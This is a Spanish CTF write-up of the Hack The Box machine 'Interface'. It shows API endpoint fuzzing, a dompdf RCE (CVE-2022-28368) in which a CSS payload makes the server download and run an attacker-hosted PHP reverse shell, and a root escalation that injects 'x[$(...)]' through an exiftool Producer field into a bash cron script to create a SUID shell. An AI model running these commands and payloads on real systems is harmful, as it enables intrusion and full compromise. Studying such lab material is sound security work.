Descripción
Interface es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Descubrimientos de puntos de acceso de una API
- Biblioteca PHP
dompdfvulnerable a Ejecución de Comandos Remotos - Escalada de Privilegios mediante un script Bash con inyección de expresiones entrecomilladas
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.200.
$ ping -c 3 10.10.11.200
PING 10.10.11.200 (10.10.11.200) 56(84) bytes of data.
64 bytes from 10.10.11.200: icmp_seq=1 ttl=63 time=44.2 ms
64 bytes from 10.10.11.200: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.200: icmp_seq=3 ttl=63 time=43.3 ms
--- 10.10.11.200 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.286/43.673/44.201/0.386 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.200 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.200
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Entonces hacemos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.200 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.200
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:89:a0:95:7e:ce:ae:a8:59:6b:2d:2d:bc:90:b5:5a (RSA)
| 256 01:84:8c:66:d3:4e:c4:b1:61:1f:2d:4d:38:9c:42:c3 (ECDSA)
|_ 256 cc:62:90:55:60:a6:58:62:9e:6b:80:10:5c:79:9b:55 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site Maintenance
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.60 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio interface.htb al archivo /etc/hosts.
$ echo '10.10.11.200 interface.htb' | sudo tee -a /etc/hosts
Encontramos un sitio web que se encuentra en mantenimiento.
Al comprobar la respuesta HTTP que recibimos encontramos la cabecera Content-Security-Policy.
HTTP/1.1 200 OK
...
Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://ajax.googleapis.com; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com; img-src https: data:; child-src data:;
Descubrimos el subdominio prd.m.rendering-api.interface.htb. Añadimos el host al archivo /etc/hosts.
$ echo '10.10.11.200 prd.m.rendering-api.interface.htb' | sudo tee -a /etc/hosts
Parece una API de servidor, intentamos enumerar con la herramienta curl.
$ curl 'http://prd.m.rendering-api.interface.htb/'
File not found.
Obtenemos un mensaje File not found. , por lo que vamos a realizar un force-brute en las URLs para la descubrimiento de endpoints. Ignoramos las respuestas con 0 bytes.
$ gobuster dir -u 'http://prd.m.rendering-api.interface.htb' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --status-codes 200,403,404 --status-codes-blacklist '' --exclude-length 0
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://prd.m.rendering-api.interface.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Status codes: 200,403,404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/api (Status: 404) [Size: 50]
/vendor (Status: 403) [Size: 15]
Uno de los endpoints descubiertos, /vendor, nos muestra un mensaje Access denied..
$ curl -XPOST 'http://prd.m.rendering-api.interface.htb/vendor'
Access denied.
Con el endpoint /api recibimos un mensaje File not found.. Enumeramos los métodos de la API mediante force-brute con los métodos HTTP POST.
$ gobuster dir -u 'http://prd.m.rendering-api.interface.htb/api' -w /usr/share/seclists/Discovery/Web-Content/big.txt --status-codes 200-500 --status-codes-blacklist '' --exclude-length 50 --method POST
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://prd.m.rendering-api.interface.htb/api
[+] Method: POST
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes: ...
[+] Exclude Length: 50
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/html2pdf (Status: 422) [Size: 36]
Encontramos el endpoint de la API /api/html2pdf. Enumeramos.
$ curl -XPOST 'http://prd.m.rendering-api.interface.htb/api/html2pdf'
{"status_text":"missing parameters"}
Recibimos una respuesta missing parameters como una cadena JSON. Por lo tanto, asumimos que los datos de la solicitud también deben ser una cadena JSON. Podemos enumerar el nombre del parámetro con la herramienta wfuzz.
$ wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -d '{"FUZZ":"test"}' --hc=422 'http://prd.m.rendering-api.interface.htb/api/html2pdf'
...
Target: http://prd.m.rendering-api.interface.htb/api/html2pdf
Total requests: 4746
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002132: 200 76 L 184 W 1130 Ch "html"
Encontramos el parámetro html, por lo que parece que la solicitud debería contener código HTML. Vamos a hacer una prueba. Recibimos datos binarios, por lo que lo guardamos en un archivo.
$ curl --data '{"html": "This is a <b>HTML</b> test"}' 'http://prd.m.rendering-api.interface.htb/api/html2pdf'
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save
Warning: to a file.
$ wget --content-disposition --post-data '{"html": "This is a <b>HTML</b> test"}' 'http://prd.m.rendering-api.interface.htb/api/html2pdf'.
El archivo se guarda como el archivo export.pdf. Y efectivamente está convirtiendo el código HTML en un archivo PDF.
Al comprobar sus metadatos con la herramienta exiftool encontramos el productor del archivo.
$ exiftool export.pdf
ExifTool Version Number : 13.25
File Name : export.pdf
Directory : .
File Size : 1312 bytes
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Producer : dompdf 1.2.0 + CPDF
El productor del archivo es dompdf 1.2.0 + CPDF. Dompdf 1.2.1 permite la ejecución de código remoto a través de un archivo .php en el campo src:url de una declaración de Cascading Style Sheets (CSS) (dentro de un archivo HTML de entrada), CVE-2022-28368.
Explotación
Tengamos un concepto de prueba de la vulnerabilidad creado por positive-security en GitHub. Vamos a clonar el repositorio Git, modificar el exploit con nuestra dirección IP y el código PHP para la ejecución y luego ejecutar el servidor HTTP.
$ git clone https://github.com/positive-security/dompdf-rce
$ cd dompdf-rce/exploit
$ sed -i 's/localhost:9001/10.10.14.16:8000/g' exploit.css
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ nano php-reverse-shell.php
$ cat php-reverse-shell.php >> exploit_font.php
$ python -m http.server 8000
Entonces iniciamos el puerto TCP de escucha en el puerto 1234 y luego enviamos la solicitud maliciosa al servidor.
$ nc -nvlp 1234
$ curl --data '{"html": "<link rel=stylesheet href=\"http://10.10.14.16:8000/exploit.css\">"}' 'http://prd.m.rendering-api.interface.htb/api/html2pdf'
Encontramos en el servidor HTTP que los archivos CSS y los archivos PHP se han descargado desde el servidor:
$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.200 - - "GET /exploit.css HTTP/1.0" 200 -
10.10.11.200 - - "GET /exploit_font.php HTTP/1.0" 200 -
Ahora necesitamos encontrar el archivo .php en el servidor. Debería estar en la ruta /vendor/dompdf/dompdf/lib/fonts/<font_family>_<style>_<md5_php_url>.php. Necesitamos encontrar el valor de font_family, style y md5_php_url. Los primeros dos valores se pueden obtener del archivo exploit.css, siendo exploitfont y normal.
$ cat exploit.css
@font-face {
font-family:'exploitfont';
src:url('http://10.10.14.16:8000/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
Para el valor md5_php_url calculamos el hash MD5 de la URL desde la cual se descarga el archivo, http://10.10.14.16:8000/exploit_font.php. Obtenemos 209f3a9ca382d1b4881d6015e79aa0d6 por lo tanto la URL completa para activar la vulnerabilidad será: http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_209f3a9ca382d1b4881d6015e79aa0d6.php.
$ echo -ne 'http://10.10.14.16:8000/exploit_font.php' | md5sum
209f3a9ca382d1b4881d6015e79aa0d6 -
$ curl 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_209f3a9ca382d1b4881d6015e79aa0d6.php?id=0'
Recibimos la terminal inversa como el usuario www-data.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.200] 46248
Linux interface 4.15.0-202-generic #213-Ubuntu SMP Thu Jan 5 19:19:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
17:06:38 up 5:06, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@interface:/$ ^Z
$ reset xterm
www-data@interface:/$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos como usuarios de consola root y dev. Podemos listar los archivos del usuario /home/dev.
www-data@interface:~/starting-page/blog$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:,,,:/home/dev:/bin/bash
www-data@interface:~/starting-page/blog$ ls -la /home/dev/
total 32
drwxr-xr-x 4 dev dev 4096 Jan 16 2023 .
drwxr-xr-x 3 root root 4096 Jan 16 2023 ..
lrwxrwxrwx 1 root root 9 Jan 10 2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 10 2023 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 10 2023 .bashrc
drwx------ 2 dev dev 4096 Jan 16 2023 .cache
drwx------ 3 dev dev 4096 Jan 16 2023 .gnupg
-rw-r--r-- 1 dev dev 807 Jan 10 2023 .profile
-rw-r--r-- 1 root dev 33 Jan 10 2023 user.txt
Comprobamos procesos en ejecución como trabajos de Cron con la herramienta pspy.
www-data@interface:~$ mktemp -d
/tmp/tmp.xgFamx7Si2
www-data@interface:~$ cd /tmp/tmp.xgFamx7Si2
www-data@interface:/tmp/tmp.xgFamx7Si2$ wget http://10.10.14.16:8000/pspy64
www-data@interface:/tmp/tmp.xgFamx7Si2$ chmod +x pspy64
www-data@interface:/tmp/tmp.xgFamx7Si2$ ./pspy64
...
CMD: UID=0 PID=4547 | /bin/bash /usr/local/sbin/cleancache.sh
CMD: UID=0 PID=4546 | /bin/sh -c /usr/local/sbin/cleancache.sh
CMD: UID=0 PID=4545 | /usr/sbin/CRON -f
Encontramos que el usuario root está ejecutando el script Bash /usr/local/sbin/cleancache.sh.
www-data@interface:/tmp/tmp.xgFamx7Si2$ cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
Este script Bash recorre todos los archivos en el directorio /tmp y verifica si cada archivo tiene un campo de metadatos “Producer” establecido en “dompdf” utilizando la herramienta exiftool. Si encuentra tal archivo, lo elimina. En resumen, el script elimina archivos en /tmp cuyos metadatos indican que fueron generados por dompdf. La comparación [[ "$meta_producer" -eq "dompdf" ]] es vulnerable a inyección de expresiones entre comillas ya que ambos lados de la comparación -eq deben ser números enteros. Por lo tanto, podemos explotar esto creando un archivo en el directorio /tmp con la etiqueta Producer establecida en una ejecución de comandos como x[$(/tmp/malicious)].
www-data@interface:/tmp/tmp.xgFamx7Si2$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/tmp.xgFamx7Si2/suid-bash;chmod u+s /tmp/tmp.xgFamx7Si2/suid-bash' > /tmp/tmp.xgFamx7Si2/runsuidbash
www-data@interface:/tmp/tmp.xgFamx7Si2$ chmod +x /tmp/tmp.xgFamx7Si2/runsuidbash
www-data@interface:/tmp/tmp.xgFamx7Si2$ touch /tmp/file
www-data@interface:/tmp/tmp.xgFamx7Si2$ exiftool -Producer='x[$(/tmp/tmp.xgFamx7Si2/runsuidbash)]' /tmp/file
Después de unos segundos el binario SUID de Bash se crea y podemos desplegar una terminal root.
www-data@interface:/tmp/tmp.xgFamx7Si2$ ls
pspy64 runsuidbash suid-bash
www-data@interface:/tmp/tmp.xgFamx7Si2$ ./suid-bash -p
suid-bash-4.4# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Flags
En la terminal root podemos recuperar los archivos user.txt y root.txt.
suid-bash-4.4# cat /home/dev/user.txt
<REDACTED>
suid-bash-4.4# cat /root/root.txt
<REDACTED>